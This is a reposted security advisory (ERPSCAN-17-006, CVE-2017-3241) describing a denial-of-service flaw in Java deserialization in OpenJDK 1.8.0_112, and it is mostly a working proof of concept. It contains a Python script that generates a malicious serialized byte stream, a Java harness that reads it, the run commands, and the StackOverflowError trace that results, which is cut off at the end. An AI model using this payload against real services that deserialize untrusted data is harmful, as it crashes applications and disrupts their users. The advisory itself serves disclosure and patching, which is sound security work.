发布 2017-01-23 漏洞条目

Oracle OpenJDK Runtime Environment 1.8.0_112-b15 – Java Serialization Denial Of Service

Exploit Source

'''

Application: Java SE

Vendor: Oracle

Bug: DoS

Reported: 23.12.2016

Vendor response: 24.12.2016

Date of Public Advisory: 17.01.2017

Reference: Oracle CPU Jan 2017

Author: Roman Shalymov

1. ADVISORY INFORMATION

Title: Oracle OpenJDK - Java Serialization DoS

Advisory ID: [ERPSCAN-17-006]

Risk: High

Advisory URL:

https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/

Date published: 17.01.2017

Vendor contacted: Oracle

2. VULNERABILITY INFORMATION

Class: Denial of Service

Remotely Exploitable: Yes

Locally Exploitable: Yes

CVE Name: CVE-2017-3241

CVSS Base Score: 9.0

3. VULNERABILITY DESCRIPTION

An attacker can cause DoS of the application which uses OpenJDK Runtime

Environment 1.8 as its core runtime engine.

4. VULNERABLE PACKAGES

OpenJDK Runtime Environment build 1.8.0_112-b15

5. SOLUTIONS AND WORKAROUNDS

Fix ObjectInputStream.skipCustomData() method, namely readObject0(false);

call in switch statement

Adress Oracle CPU January 2017

6. AUTHOR

Roman Shalymov (@shalymov)

7. TECHNICAL DESCRIPTION

An attacker can craft a malicious sequence of bytes that will cause JVM

StackOverflowError in the standard Java deserialization process if it uses

ObjectInputStream.readObject() method.

7.1. Proof of Concept

An attacker creates a malicious sequence of bytes, for example, using this

python script pwn_ser.py:

'''

#!/usr/bin/env python2

import sys

exp = ""

#serialization header

exp += '\xac\xed\x00\x05'

exp1 = ''

exp1 += '\x72'

exp1 += '\x00\x0c'+'java.io.File'

exp1 += '\x41'*8

exp1 += '\x00'

exp1 += '\x00\x00'

exp += exp1 * 10000

sys.stdout.write(exp)

'''

and save it in exp2.ser file

$ ./pwn_ser2.py > exp2.ser

Let's simulate deserialization process. For this purpose, we create a

simple Java program, which uses the following standard deserialization

pattern:

Serialize_read.java

import java.io.FileInputStream;

import java.io.ObjectInputStream;

public class Serialize_read {

public static void main(String args[]) throws Exception {

if(args.length < 1) {

System.out.println("usage: "+Serialize_read.class.getSimpleName()+"

[file]");

System.exit(-1);

}

FileInputStream fin = new FileInputStream(args[0]);

ObjectInputStream oin = new ObjectInputStream(fin);

try {

Object objFromDisk = oin.readObject();

String s = (String)objFromDisk;

System.out.println(s);

System.out.println("Successfully read!");

}catch(Exception e){}

System.exit(0);

}

Let's try to read our malicious file (we can also simulate this stuff over

network communication):

$ javac Serialize_read.java

$ java Serialize_read exp2.ser

It causes the following error dump:

Exception in thread "main" java.lang.StackOverflowError

java.io.ObjectInputStream$PeekInputStream.readFully(ObjectInputStream.java:2351)

java.io.ObjectInputStream$BlockDataInputStream.readUnsignedShort(ObjectInputStream.java:2834)

java.io.ObjectInputStream$BlockDataInputStream.readUTF(ObjectInputStream.java:2892)

at java.io.ObjectInputStream.readUTF(ObjectInputStream.java:1075)

at java.io.ObjectStreamClass.readNonProxy(ObjectStreamClass.java:684)

at java.io.ObjectInputStream.readClassDescriptor(ObjectInputStream.java:833)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1609)